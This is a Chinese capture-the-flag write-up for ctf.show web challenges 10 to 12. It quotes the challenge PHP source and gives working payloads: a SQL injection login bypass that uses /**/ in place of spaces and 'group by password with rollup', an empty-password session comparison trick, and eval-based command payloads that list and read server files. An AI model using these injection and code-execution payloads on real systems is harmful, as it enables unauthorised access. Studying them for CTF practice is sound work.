点击取消拿到源码
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
正则过滤了很多,这里就有个新姿势,
group by(将结果集中的数据行根据选择列的值进行逻辑分组)
不加group by时的输出如下:
在使用group by以后会按照password中的值进行排列:
②with rollup (group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)
来看实例:
结果中将会多出一行,其中password列为null。
这里我们就可以通过骚姿势绕过了。
其中/**/是为了绕过空格过滤
payload:username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row[‘password’]的限制成功登陆。
登录成功即可显示flag。
ctf.show_web11
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>
我们输入的password和SESSION里的一样就可以输出flag,让其都为空就可以了
web12
有提示?cmd,可以使用phpinfo();,应该是eval($_GET[‘cmd’]);语句
highlight_file(“index.php”);读取文件
新知识:glob() 函数返回匹配指定模式的文件名或目录。
举个例子:
glob(““) 匹配任意文件
glob(“.txt”)匹配以txt为后缀的文件
payload
?cmd=print_r(glob("*"));
payload
?cmd=show_source("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");